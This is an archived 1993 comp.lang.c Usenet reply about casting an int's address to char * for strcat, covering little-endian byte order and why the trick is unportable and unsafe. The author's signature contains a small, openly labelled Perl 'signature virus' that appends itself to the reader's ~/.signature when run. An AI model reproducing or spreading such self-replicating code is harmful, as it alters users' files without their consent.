home *** CD-ROM | disk | FTP | other *** search
- Path: sparky!uunet!spool.mu.edu!umn.edu!cybrspc!roy
- From: roy%cybrspc@cs.umn.edu (Roy M. Silvernail)
- Newsgroups: comp.lang.c
- Subject: Re: Problem with string processing.
- Message-ID: <69qXwB2w165w@cybrspc.uucp>
- Date: Tue, 05 Jan 93 21:23:04 CST
- References: <MCGLK.93Jan5005833@yang.cpac.washington.edu>
- Organization: Villa CyberSpace, Minneapolis, MN
- Lines: 41
-
- mcglk@cpac.washington.edu (Ken McGlothlen) writes:
-
- > Roy M. Silvernail (roy%cybrspc@cs.umn.edu) writes:
- >
- > | Assuming a large enough string for the append, and low-high byte ordering,
- > | would this work?
- > |
- > | strcat(str,(char *)&ch);
- > +----------
- >
- > Well, it would work *sometimes*. Remember that strcat() expects two pointers
- > to ZERO-TERMINATED strings. If what was stored in ch was immediately followe
- > by a zero byte ('\0'), then it *would* work.
-
- OK, I was feeling a bit silly that evening, but I'm really asking a
- sideways pointer question.
-
- The reasoning is:
-
- The original example declared ch as int. I assumed Intel ordering, so
- the character 'A', value 0x41, would actually be stored as an int, and
- so be at least 0x0041 (or longer). The little-endian factor means this
- looks like 0x41, 0x00 in memory. So, cast the pointer to ch as a
- (char *), and it seems like *(((char *)&ch)+1) == 0x00, and that ch could
- be briefly considered as a zero-terminated string of length 1.
-
- Maybe that should be ((char *)&ch)[1] == 0x00, perhaps? And naturally
- it fails on a big-endian machine, but I never said it was portable.
-
- > But ch is stored wherever the
- > compiler wants to store it, and it could be followed by *anything*,
- > which means that you could get a heck of a lot more characters on
- > the end of str than you bargained for.
-
- Of course. Let's just say I'm sharpening up my obfuscatory technique. :-}
- --
- Roy M. Silvernail -- roy%cybrspc@cs.umn.edu - OR- cybrspc!roy@cs.umn.edu
- #! /usr/bin/perl
- open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/;
- open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__
- <perl signature virus V2.0 - do 'perl -x articlename'>
-